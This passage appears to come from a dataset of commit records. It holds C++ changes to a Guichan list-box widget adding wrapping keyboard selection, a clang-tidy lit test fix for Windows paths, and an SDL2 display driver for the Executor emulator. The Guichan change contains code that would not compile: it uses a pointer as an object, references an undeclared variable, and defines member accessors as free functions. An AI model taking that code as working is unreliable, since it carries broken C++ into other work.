ListBox::setListModel(ListModel *listModel)\n    {\n        mSelected = -1;\n        mListModel = listModel;\n        adjustSize();    \n    }\n  \n    ListModel* ListBox::getListModel()\n    {\n        return mListModel;    \n    }\n\n    void ListBox::adjustSize()\n    {\n        if (mListModel != NULL)\n        {      \n            setHeight(getFont()->getHeight() * mListModel->getNumberOfElements());\n        }    \n    }  \n}\n<commit_msg>Ability to wrap keyboard selection has been added.<commit_after>\/*      _______   __   __   __   ______   __   __   _______   __   __                 \n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\                \n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/                 \n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/                  \n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/                   \n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/                    \n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/                      \n *\n * Copyright (c) 2004, 2005 darkbits                        Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file. \n *\/\n\n#include \"guichan\/widgets\/listbox.hpp\"\n\n#include \"guichan\/basiccontainer.hpp\"\n#include \"guichan\/font.hpp\"\n#include \"guichan\/graphics.hpp\"\n#include \"guichan\/key.hpp\"\n#include \"guichan\/listmodel.hpp\"\n#include \"guichan\/mouseinput.hpp\"\n \nnamespace gcn\n{\n    ListBox::ListBox()\n    {    \n        mSelected = -1;\n        mListModel = NULL;\n        mWrappingKeyboardSelection = false;\n        setWidth(100);\n        setFocusable(true);\n    \n        addMouseListener(this);\n        addKeyListener(this);\n    }\n\n    ListBox::ListBox(ListModel *listModel)\n    {\n        mSelected = -1;\n        mWrappingKeyboardSelection = false;\n        setWidth(100);\n        setListModel(listModel);\n        setFocusable(true);\n    \n        addMouseListener(this);\n        addKeyListener(this);\n    }\n\n    void ListBox::draw(Graphics* graphics)\n    {\n        graphics->setColor(getBackgroundColor());\n        graphics->fillRectangle(Rectangle(0, 0, getWidth(), getHeight()));\n\n        if (mListModel == NULL)      \n        {\n            return;\n        }\n    \n        graphics->setColor(getForegroundColor());\n        graphics->setFont(getFont());    \n    \n        int i, fontHeight;\n        int y = 0;\n    \n        fontHeight = getFont()->getHeight();\n    \n        \/**\n         * @todo Check cliprects so we do not have to iterate over elements in the list model\n         *\/\n        for (i = 0; i < mListModel->getNumberOfElements(); ++i)\n        {      \n            if (i == mSelected)\n            {\n                graphics->drawRectangle(Rectangle(0, y, getWidth(), fontHeight));\n            }\n      \n            graphics->drawText(mListModel->getElementAt(i), 1, y);      \n\n            y += fontHeight;\n        }    \n    }\n\n    void ListBox::drawBorder(Graphics* graphics)\n    {\n        Color faceColor = getBaseColor();\n        Color highlightColor, shadowColor;\n        int alpha = getBaseColor().a;\n        int width = getWidth() + getBorderSize() * 2 - 1;\n        int height = getHeight() + getBorderSize() * 2 - 1;\n        highlightColor = faceColor + 0x303030;\n        highlightColor.a = alpha;\n        shadowColor = faceColor - 0x303030;\n        shadowColor.a = alpha;\n        \n        unsigned int i;\n        for (i = 0; i < getBorderSize(); ++i)\n        {\n            graphics->setColor(shadowColor);\n            graphics->drawLine(i,i, width - i, i);\n            graphics->drawLine(i,i + 1, i, height - i - 1);\n            graphics->setColor(highlightColor);\n            graphics->drawLine(width - i,i + 1, width - i, height - i); \n            graphics->drawLine(i,height - i, width - i - 1, height - i); \n        }\n    }\n    \n    void ListBox::logic()\n    {\n        adjustSize();    \n    }\n\n    int ListBox::getSelected()\n    {\n        return mSelected;\n    }\n\n    void ListBox::setSelected(int selected)\n    {\n        if (mListModel == NULL)\n        {\n            mSelected = -1;\n        }\n        else\n        {\n            if (selected < 0)\n            {\n                mSelected = -1;\n            }\n            else if (selected >= mListModel->getNumberOfElements())\n            {\n                mSelected = mListModel->getNumberOfElements() - 1;\n            }\n            else\n            {\n                mSelected = selected;\n            }\n\n            BasicContainer *par = getParent();\n            if (par == NULL)\n            {\n                return;\n            }            \n            \n            Rectangle scroll;\n            \n            if (mSelected < 0)\n            {\n                scroll.y = 0;\n            }\n            else\n            {\n                scroll.y = getFont()->getHeight() * mSelected;\n            }\n            \n            scroll.y = getFont()->getHeight() * mSelected;\n            scroll.height = getFont()->getHeight();\n            par->showWidgetPart(this, scroll);\n        }\n    }\n\n    void ListBox::keyPress(const Key& key)\n    {    \n        if (key.getValue() == Key::ENTER || key.getValue() == Key::SPACE)\n        {\n            generateAction();\n        }\n        else if (key.getValue() == Key::UP)\n        {      \n            setSelected(mSelected - 1);\n\n            if (mSelected == -1)\n            {\n                if (isWrappingKeyboardSelection())\n                {\n                    setSelected(getListModel().getNumberOfElements() - 1);\n                }\n                else\n                {\n                    setSelected(0);\n                }\n            }\n        }\n        else if (key.getValue() == Key::DOWN)\n        {\n            if (isWrappingKeyboardSelection() \n                && getSelected() == getListModel().getNumberOfElements() - 1)\n            {\n                setSelected(0);\n            }\n            else\n            {            \n                setSelected(selected + 1);\n            }\n        }\n    }\n\n    void ListBox::mousePress(int x, int y, int button)\n    {\n        if (button == MouseInput::LEFT && hasMouse())\n        {\n            setSelected(y \/ getFont()->getHeight());\n            generateAction();\n        }\n    }\n\n    void ListBox::setListModel(ListModel *listModel)\n    {\n        mSelected = -1;\n        mListModel = listModel;\n        adjustSize();    \n    }\n  \n    ListModel* ListBox::getListModel()\n    {\n        return mListModel;    \n    }\n\n    void ListBox::adjustSize()\n    {\n        if (mListModel != NULL)\n        {      \n            setHeight(getFont()->getHeight() * mListModel->getNumberOfElements());\n        }    \n    }  \n\n    bool isWrappingKeyboardSelection()\n    {\n        return mWrappingKeyboardSelection;\n    }\n\n    void setWrappingKeyboardSelection(bool wrapping)\n    {\n        mWrappingKeyboardSelection = wrapping;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RUN: mkdir -p %T\/compilation-database-test\/include\n\/\/ RUN: mkdir -p %T\/compilation-database-test\/a\n\/\/ RUN: mkdir -p %T\/compilation-database-test\/b\n\/\/ RUN: echo 'int *AA = 0;' > %T\/compilation-database-test\/a\/a.cpp\n\/\/ RUN: echo 'int *AB = 0;' > %T\/compilation-database-test\/a\/b.cpp\n\/\/ RUN: echo 'int *BB = 0;' > %T\/compilation-database-test\/b\/b.cpp\n\/\/ RUN: echo 'int *BC = 0;' > %T\/compilation-database-test\/b\/c.cpp\n\/\/ RUN: echo 'int *HP = 0;' > %T\/compilation-database-test\/include\/header.h\n\/\/ RUN: echo '#include \"header.h\"' > %T\/compilation-database-test\/b\/d.cpp\n\/\/ RUN: sed 's|test_dir|%\/T\/compilation-database-test|g' %S\/Inputs\/compilation-database\/template.json > %T\/compile_commands.json\n\n\/\/ Regression test: shouldn't crash.\n\/\/ RUN: not clang-tidy --checks=-*,modernize-use-nullptr -p %T %T\/compilation-database-test\/b\/not-exist -header-filter=.* 2>&1 | FileCheck %s -check-prefix=CHECK-NOT-EXIST\n\/\/ CHECK-NOT-EXIST: Error while processing {{.*}}\/not-exist.\n\/\/ CHECK-NOT-EXIST: unable to handle compilation\n\/\/ CHECK-NOT-EXIST: Found compiler error\n\n\/\/ RUN: clang-tidy --checks=-*,modernize-use-nullptr -p %T %T\/compilation-database-test\/a\/a.cpp %T\/compilation-database-test\/a\/b.cpp %T\/compilation-database-test\/b\/b.cpp %T\/compilation-database-test\/b\/c.cpp %T\/compilation-database-test\/b\/d.cpp -header-filter=.* -fix\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/a\/a.cpp %s -check-prefix=CHECK-FIX1\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/a\/b.cpp %s -check-prefix=CHECK-FIX2\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/b\/b.cpp %s -check-prefix=CHECK-FIX3\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/b\/c.cpp %s -check-prefix=CHECK-FIX4\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/include\/header.h %s -check-prefix=CHECK-FIX5\n\n\/\/ CHECK-FIX1: int *AA = nullptr;\n\/\/ CHECK-FIX2: int *AB = nullptr;\n\/\/ CHECK-FIX3: int *BB = nullptr;\n\/\/ CHECK-FIX4: int *BC = nullptr;\n\/\/ CHECK-FIX5: int *HP = nullptr;\n<commit_msg>[fix][clang-tidy] fix for r345961 that introduced a test failure on Windows builds<commit_after>\/\/ RUN: mkdir -p %T\/compilation-database-test\/include\n\/\/ RUN: mkdir -p %T\/compilation-database-test\/a\n\/\/ RUN: mkdir -p %T\/compilation-database-test\/b\n\/\/ RUN: echo 'int *AA = 0;' > %T\/compilation-database-test\/a\/a.cpp\n\/\/ RUN: echo 'int *AB = 0;' > %T\/compilation-database-test\/a\/b.cpp\n\/\/ RUN: echo 'int *BB = 0;' > %T\/compilation-database-test\/b\/b.cpp\n\/\/ RUN: echo 'int *BC = 0;' > %T\/compilation-database-test\/b\/c.cpp\n\/\/ RUN: echo 'int *HP = 0;' > %T\/compilation-database-test\/include\/header.h\n\/\/ RUN: echo '#include \"header.h\"' > %T\/compilation-database-test\/b\/d.cpp\n\/\/ RUN: sed 's|test_dir|%\/T\/compilation-database-test|g' %S\/Inputs\/compilation-database\/template.json > %T\/compile_commands.json\n\n\/\/ Regression test: shouldn't crash.\n\/\/ RUN: not clang-tidy --checks=-*,modernize-use-nullptr -p %T %T\/compilation-database-test\/b\/not-exist -header-filter=.* 2>&1 | FileCheck %s -check-prefix=CHECK-NOT-EXIST\n\/\/ CHECK-NOT-EXIST: Error while processing {{.*[\/\\\\]}}not-exist.\n\/\/ CHECK-NOT-EXIST: unable to handle compilation\n\/\/ CHECK-NOT-EXIST: Found compiler error\n\n\/\/ RUN: clang-tidy --checks=-*,modernize-use-nullptr -p %T %T\/compilation-database-test\/a\/a.cpp %T\/compilation-database-test\/a\/b.cpp %T\/compilation-database-test\/b\/b.cpp %T\/compilation-database-test\/b\/c.cpp %T\/compilation-database-test\/b\/d.cpp -header-filter=.* -fix\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/a\/a.cpp %s -check-prefix=CHECK-FIX1\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/a\/b.cpp %s -check-prefix=CHECK-FIX2\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/b\/b.cpp %s -check-prefix=CHECK-FIX3\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/b\/c.cpp %s -check-prefix=CHECK-FIX4\n\/\/ RUN: FileCheck -input-file=%T\/compilation-database-test\/include\/header.h %s -check-prefix=CHECK-FIX5\n\n\/\/ CHECK-FIX1: int *AA = nullptr;\n\/\/ CHECK-FIX2: int *AB = nullptr;\n\/\/ CHECK-FIX3: int *BB = nullptr;\n\/\/ CHECK-FIX4: int *BC = nullptr;\n\/\/ CHECK-FIX5: int *HP = nullptr;\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>debugging<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"rsys\/common.h\"\n#include \"rsys\/host.h\"\n#include \"rsys\/vdriver.h\"\n#include \"rsys\/cquick.h\" \/* for ROMlib_log2 *\/\n#include \"rsys\/adb.h\"\n#include \"rsys\/osevent.h\"\n#include \"OSEvent.h\"\n#include \"ToolboxEvent.h\"\n#include \"SegmentLdr.h\"\n\n#include <SDL.h>\n\nnamespace Executor\n{\n\/* These variables are required by the vdriver interface. *\/\nuint8_t *vdriver_fbuf;\nint vdriver_row_bytes;\nint vdriver_width = 1024;\nint vdriver_height = 768;\nint vdriver_bpp = 8, vdriver_log2_bpp;\nint vdriver_max_bpp, vdriver_log2_max_bpp;\nvdriver_modes_t *vdriver_mode_list;\n\nint host_cursor_depth = 1;\n}\n\nusing namespace Executor;\n\nnamespace\n{\nvdriver_modes_t sdl_impotent_modes = { 0, 0 };\nSDL_Window *sdlWindow;\nSDL_Renderer *sdlRenderer;\nSDL_Texture *sdlTexture;\nSDL_Surface *sdlSurface;\n}\n\nvoid Executor::vdriver_opt_register(void)\n{\n}\nbool Executor::vdriver_init(int _max_width, int _max_height, int _max_bpp,\n                            bool fixed_p, int *argc, char *argv[])\n{\n    if(SDL_Init(SDL_INIT_VIDEO | SDL_INIT_EVENTS) != 0)\n    {\n        SDL_Log(\"Failed to initialize SDL: %s\", SDL_GetError());\n        return false;\n    }\n    return true;\n}\n\nbool Executor::vdriver_acceptable_mode_p(int width, int height, int bpp,\n                                         bool grayscale_p, bool exact_match_p)\n{\n    if(bpp == 1 || bpp == 4 || bpp == 8 || bpp == 16 || bpp == 32)\n        return true;\n    else\n        return false;\n}\n\nbool Executor::vdriver_set_mode(int width, int height, int bpp, bool grayscale_p)\n{\n    printf(\"set_mode: %d %d %d\", width, height, bpp);\n    if(vdriver_fbuf)\n        delete[] vdriver_fbuf;\n\n    if(width)\n        vdriver_width = width;\n    if(height)\n        vdriver_height = height;\n    if(bpp)\n        vdriver_bpp = bpp;\n    vdriver_row_bytes = vdriver_width * vdriver_bpp \/ 8;\n    vdriver_log2_bpp = ROMlib_log2[vdriver_bpp];\n    vdriver_mode_list = &sdl_impotent_modes;\n\n    vdriver_max_bpp = 8; \/\/32;\n    vdriver_log2_max_bpp = 3; \/\/5;\n\n    sdlWindow = SDL_CreateWindow(\"Window\",\n                                 SDL_WINDOWPOS_UNDEFINED,\n                                 SDL_WINDOWPOS_UNDEFINED,\n                                 vdriver_width, vdriver_height,\n                                 0);\n    \/\/SDL_WINDOW_FULLSCREEN_DESKTOP);\n\n    \/*sdlRenderer = SDL_CreateRenderer(sdlWindow, -1, 0);\n\n    SDL_RenderSetLogicalSize(sdlRenderer, vdriver_width, vdriver_height);\n    SDL_SetRenderDrawColor(sdlRenderer, 128, 128, 128, 255);\n    SDL_RenderClear(sdlRenderer);\n    SDL_RenderPresent(sdlRenderer);*\/\n\n    uint32_t pixelFormat;\n\n    switch(vdriver_bpp)\n    {\n        case 1:\n            pixelFormat = SDL_PIXELFORMAT_INDEX1LSB;\n            break;\n        case 4:\n            pixelFormat = SDL_PIXELFORMAT_INDEX4LSB;\n            break;\n        case 8:\n            pixelFormat = SDL_PIXELFORMAT_INDEX8;\n            break;\n        case 16:\n            pixelFormat = SDL_PIXELFORMAT_RGB555;\n            break;\n        case 32:\n            pixelFormat = SDL_PIXELFORMAT_BGRX8888;\n            break;\n    }\n    \/*\n    sdlTexture = SDL_CreateTexture(sdlRenderer,\n                                   \/\/SDL_PIXELTYPE_INDEX8,\n                                   \/\/SDL_PIXELFORMAT_ARGB8888,\n                                   SDL_PIXELFORMAT_BGRA8888,\n                                   SDL_TEXTUREACCESS_STREAMING,\n                                   vdriver_width, vdriver_height);\n*\/\n    vdriver_fbuf = new uint8_t[vdriver_width * vdriver_height * 4];\n\n    sdlSurface = SDL_CreateRGBSurfaceWithFormatFrom(\n        vdriver_fbuf,\n        vdriver_width, vdriver_height,\n        vdriver_bpp,\n        vdriver_row_bytes,\n        pixelFormat);\n\n    return true;\n}\nvoid Executor::vdriver_set_colors(int first_color, int num_colors, const ColorSpec *colors)\n{\n    SDL_Color *sdlColors = (SDL_Color *)alloca(sizeof(SDL_Color) * num_colors);\n    for(int i = 0; i < num_colors; i++)\n    {\n        sdlColors[i].a = 255;\n        sdlColors[i].r = CW(colors[i].rgb.red) >> 8;\n        sdlColors[i].g = CW(colors[i].rgb.green) >> 8;\n        sdlColors[i].b = CW(colors[i].rgb.blue) >> 8;\n    }\n\n    SDL_SetPaletteColors(sdlSurface->format->palette, sdlColors, first_color, num_colors);\n}\n\nvoid Executor::vdriver_get_colors(int first_color, int num_colors, ColorSpec *colors)\n{\n    SDL_Color *sdlColors = sdlSurface->format->palette->colors;\n    for(int i = 0; i < num_colors; i++)\n    {\n        SDL_Color &c = sdlColors[first_color + i];\n\n        colors[i].value = CW(first_color + i);\n        colors[i].rgb.red = CW(c.r << 8 | c.r);\n        colors[i].rgb.green = CW(c.g << 8 | c.g);\n        colors[i].rgb.blue = CW(c.b << 8 | c.b);\n    }\n}\nint Executor::vdriver_update_screen_rects(int num_rects, const vdriver_rect_t *r,\n                                          bool cursor_p)\n{\n    \/*SDL_UpdateTexture(sdlTexture, NULL, vdriver_fbuf, vdriver_row_bytes);\n    SDL_RenderCopy(sdlRenderer, sdlTexture, NULL, NULL);\n    SDL_RenderPresent(sdlRenderer);*\/\n    SDL_BlitSurface(sdlSurface, NULL, SDL_GetWindowSurface(sdlWindow), NULL);\n    SDL_UpdateWindowSurface(sdlWindow);\n}\n\nint Executor::vdriver_update_screen(int top, int left, int bottom, int right,\n                                    bool cursor_p)\n{\n    \/*SDL_UpdateTexture(sdlTexture, NULL, vdriver_fbuf, vdriver_row_bytes);\n    SDL_RenderCopy(sdlRenderer, sdlTexture, NULL, NULL);\n    SDL_RenderPresent(sdlRenderer);*\/\n    SDL_BlitSurface(sdlSurface, NULL, SDL_GetWindowSurface(sdlWindow), NULL);\n    SDL_UpdateWindowSurface(sdlWindow);\n}\n\nvoid Executor::vdriver_flush_display(void)\n{\n}\n\nvoid Executor::vdriver_shutdown(void)\n{\n}\n\nvoid Executor::host_flush_shadow_screen(void)\n{\n}\n\nstatic bool ConfirmQuit()\n{\n    const SDL_MessageBoxButtonData buttons[] = {\n        { SDL_MESSAGEBOX_BUTTON_ESCAPEKEY_DEFAULT, 2, \"Cancel\" },\n        { SDL_MESSAGEBOX_BUTTON_RETURNKEY_DEFAULT, 1, \"Force Quit\" },\n    };\n    const SDL_MessageBoxData messageboxdata = {\n        SDL_MESSAGEBOX_INFORMATION, \/* .flags *\/\n        sdlWindow, \/* .window *\/\n        \"Quit\", \/* .title *\/\n        \"Do you want to quit Executor?\", \/* .message *\/\n        SDL_arraysize(buttons), \/* .numbuttons *\/\n        buttons, \/* .buttons *\/\n        NULL \/* .colorScheme *\/\n    };\n    int buttonid;\n    SDL_ShowMessageBox(&messageboxdata, &buttonid);\n    return buttonid == 1;\n}\n\nvoid Executor::vdriver_pump_events()\n{\n    SDL_Event event;\n    static uint16_t keymod = 0;\n\n    while(SDL_PollEvent(&event))\n    {\n        switch(event.type)\n        {\n            case SDL_MOUSEMOTION:\n                MouseLocation.h = CW(event.motion.x);\n                MouseLocation.v = CW(event.motion.y);\n\n                adb_apeiron_hack(false);\n                break;\n            case SDL_MOUSEBUTTONDOWN:\n            case SDL_MOUSEBUTTONUP:\n            {\n                bool down_p;\n                int32 when;\n                Point where;\n\n                down_p = (event.button.state == SDL_PRESSED);\n                if(down_p)\n                    keymod &= ~btnState;\n                else\n                    keymod |= btnState;\n                when = TickCount();\n                where.h = event.button.x;\n                where.v = event.button.y;\n                ROMlib_PPostEvent(down_p ? mouseDown : mouseUp,\n                                  0, (GUEST<EvQElPtr> *)0, when, where,\n                                  keymod);\n                adb_apeiron_hack(false);\n            }\n            break;\n            case SDL_QUIT:\n                if(ConfirmQuit())\n                    ExitToShell();\n                break;\n        }\n    }\n}\n\nextern \"C\" void\nROMlib_SetTitle(char *title)\n{\n}\n\nextern \"C\" char *\nROMlib_GetTitle(void)\n{\n    static char str[] = \"Foo\";\n    return str;\n}\n\nextern \"C\" void\nROMlib_FreeTitle(char *title)\n{\n}\n\nvoid Executor::host_set_cursor(char *cursor_data,\n                               unsigned short cursor_mask[16],\n                               int hotspot_x, int hotspot_y)\n{\n}\n\nint Executor::host_set_cursor_visible(int show_p)\n{\n    return 0;\n}\n<commit_msg>SDL2: cursors<commit_after>#include \"rsys\/common.h\"\n#include \"rsys\/host.h\"\n#include \"rsys\/vdriver.h\"\n#include \"rsys\/cquick.h\" \/* for ROMlib_log2 *\/\n#include \"rsys\/adb.h\"\n#include \"rsys\/osevent.h\"\n#include \"OSEvent.h\"\n#include \"ToolboxEvent.h\"\n#include \"SegmentLdr.h\"\n\n#include <SDL.h>\n\nnamespace Executor\n{\n\/* These variables are required by the vdriver interface. *\/\nuint8_t *vdriver_fbuf;\nint vdriver_row_bytes;\nint vdriver_width = 1024;\nint vdriver_height = 768;\nint vdriver_bpp = 8, vdriver_log2_bpp;\nint vdriver_max_bpp, vdriver_log2_max_bpp;\nvdriver_modes_t *vdriver_mode_list;\n\nint host_cursor_depth = 1;\n}\n\nusing namespace Executor;\n\nnamespace\n{\nvdriver_modes_t sdl_impotent_modes = { 0, 0 };\nSDL_Window *sdlWindow;\nSDL_Renderer *sdlRenderer;\nSDL_Texture *sdlTexture;\nSDL_Surface *sdlSurface;\n}\n\nvoid Executor::vdriver_opt_register(void)\n{\n}\nbool Executor::vdriver_init(int _max_width, int _max_height, int _max_bpp,\n                            bool fixed_p, int *argc, char *argv[])\n{\n    if(SDL_Init(SDL_INIT_VIDEO | SDL_INIT_EVENTS) != 0)\n    {\n        SDL_Log(\"Failed to initialize SDL: %s\", SDL_GetError());\n        return false;\n    }\n    return true;\n}\n\nbool Executor::vdriver_acceptable_mode_p(int width, int height, int bpp,\n                                         bool grayscale_p, bool exact_match_p)\n{\n    if(bpp == 1 || bpp == 4 || bpp == 8 || bpp == 16 || bpp == 32)\n        return true;\n    else\n        return false;\n}\n\nbool Executor::vdriver_set_mode(int width, int height, int bpp, bool grayscale_p)\n{\n    printf(\"set_mode: %d %d %d\", width, height, bpp);\n    if(vdriver_fbuf)\n        delete[] vdriver_fbuf;\n\n    if(width)\n        vdriver_width = width;\n    if(height)\n        vdriver_height = height;\n    if(bpp)\n        vdriver_bpp = bpp;\n    vdriver_row_bytes = vdriver_width * vdriver_bpp \/ 8;\n    vdriver_log2_bpp = ROMlib_log2[vdriver_bpp];\n    vdriver_mode_list = &sdl_impotent_modes;\n\n    vdriver_max_bpp = 8; \/\/32;\n    vdriver_log2_max_bpp = 3; \/\/5;\n\n    sdlWindow = SDL_CreateWindow(\"Window\",\n                                 SDL_WINDOWPOS_UNDEFINED,\n                                 SDL_WINDOWPOS_UNDEFINED,\n                                 vdriver_width, vdriver_height,\n                                 0);\n    \/\/SDL_WINDOW_FULLSCREEN_DESKTOP);\n\n    \/*sdlRenderer = SDL_CreateRenderer(sdlWindow, -1, 0);\n\n    SDL_RenderSetLogicalSize(sdlRenderer, vdriver_width, vdriver_height);\n    SDL_SetRenderDrawColor(sdlRenderer, 128, 128, 128, 255);\n    SDL_RenderClear(sdlRenderer);\n    SDL_RenderPresent(sdlRenderer);*\/\n\n    uint32_t pixelFormat;\n\n    switch(vdriver_bpp)\n    {\n        case 1:\n            pixelFormat = SDL_PIXELFORMAT_INDEX1LSB;\n            break;\n        case 4:\n            pixelFormat = SDL_PIXELFORMAT_INDEX4LSB;\n            break;\n        case 8:\n            pixelFormat = SDL_PIXELFORMAT_INDEX8;\n            break;\n        case 16:\n            pixelFormat = SDL_PIXELFORMAT_RGB555;\n            break;\n        case 32:\n            pixelFormat = SDL_PIXELFORMAT_BGRX8888;\n            break;\n    }\n    \/*\n    sdlTexture = SDL_CreateTexture(sdlRenderer,\n                                   \/\/SDL_PIXELTYPE_INDEX8,\n                                   \/\/SDL_PIXELFORMAT_ARGB8888,\n                                   SDL_PIXELFORMAT_BGRA8888,\n                                   SDL_TEXTUREACCESS_STREAMING,\n                                   vdriver_width, vdriver_height);\n*\/\n    vdriver_fbuf = new uint8_t[vdriver_width * vdriver_height * 4];\n\n    sdlSurface = SDL_CreateRGBSurfaceWithFormatFrom(\n        vdriver_fbuf,\n        vdriver_width, vdriver_height,\n        vdriver_bpp,\n        vdriver_row_bytes,\n        pixelFormat);\n\n    return true;\n}\nvoid Executor::vdriver_set_colors(int first_color, int num_colors, const ColorSpec *colors)\n{\n    SDL_Color *sdlColors = (SDL_Color *)alloca(sizeof(SDL_Color) * num_colors);\n    for(int i = 0; i < num_colors; i++)\n    {\n        sdlColors[i].a = 255;\n        sdlColors[i].r = CW(colors[i].rgb.red) >> 8;\n        sdlColors[i].g = CW(colors[i].rgb.green) >> 8;\n        sdlColors[i].b = CW(colors[i].rgb.blue) >> 8;\n    }\n\n    SDL_SetPaletteColors(sdlSurface->format->palette, sdlColors, first_color, num_colors);\n}\n\nvoid Executor::vdriver_get_colors(int first_color, int num_colors, ColorSpec *colors)\n{\n    SDL_Color *sdlColors = sdlSurface->format->palette->colors;\n    for(int i = 0; i < num_colors; i++)\n    {\n        SDL_Color &c = sdlColors[first_color + i];\n\n        colors[i].value = CW(first_color + i);\n        colors[i].rgb.red = CW(c.r << 8 | c.r);\n        colors[i].rgb.green = CW(c.g << 8 | c.g);\n        colors[i].rgb.blue = CW(c.b << 8 | c.b);\n    }\n}\nint Executor::vdriver_update_screen_rects(int num_rects, const vdriver_rect_t *r,\n                                          bool cursor_p)\n{\n    \/*SDL_UpdateTexture(sdlTexture, NULL, vdriver_fbuf, vdriver_row_bytes);\n    SDL_RenderCopy(sdlRenderer, sdlTexture, NULL, NULL);\n    SDL_RenderPresent(sdlRenderer);*\/\n    SDL_BlitSurface(sdlSurface, NULL, SDL_GetWindowSurface(sdlWindow), NULL);\n    SDL_UpdateWindowSurface(sdlWindow);\n}\n\nint Executor::vdriver_update_screen(int top, int left, int bottom, int right,\n                                    bool cursor_p)\n{\n    \/*SDL_UpdateTexture(sdlTexture, NULL, vdriver_fbuf, vdriver_row_bytes);\n    SDL_RenderCopy(sdlRenderer, sdlTexture, NULL, NULL);\n    SDL_RenderPresent(sdlRenderer);*\/\n    SDL_BlitSurface(sdlSurface, NULL, SDL_GetWindowSurface(sdlWindow), NULL);\n    SDL_UpdateWindowSurface(sdlWindow);\n}\n\nvoid Executor::vdriver_flush_display(void)\n{\n}\n\nvoid Executor::vdriver_shutdown(void)\n{\n}\n\nvoid Executor::host_flush_shadow_screen(void)\n{\n}\n\nstatic bool ConfirmQuit()\n{\n    const SDL_MessageBoxButtonData buttons[] = {\n        { SDL_MESSAGEBOX_BUTTON_ESCAPEKEY_DEFAULT, 2, \"Cancel\" },\n        { SDL_MESSAGEBOX_BUTTON_RETURNKEY_DEFAULT, 1, \"Force Quit\" },\n    };\n    const 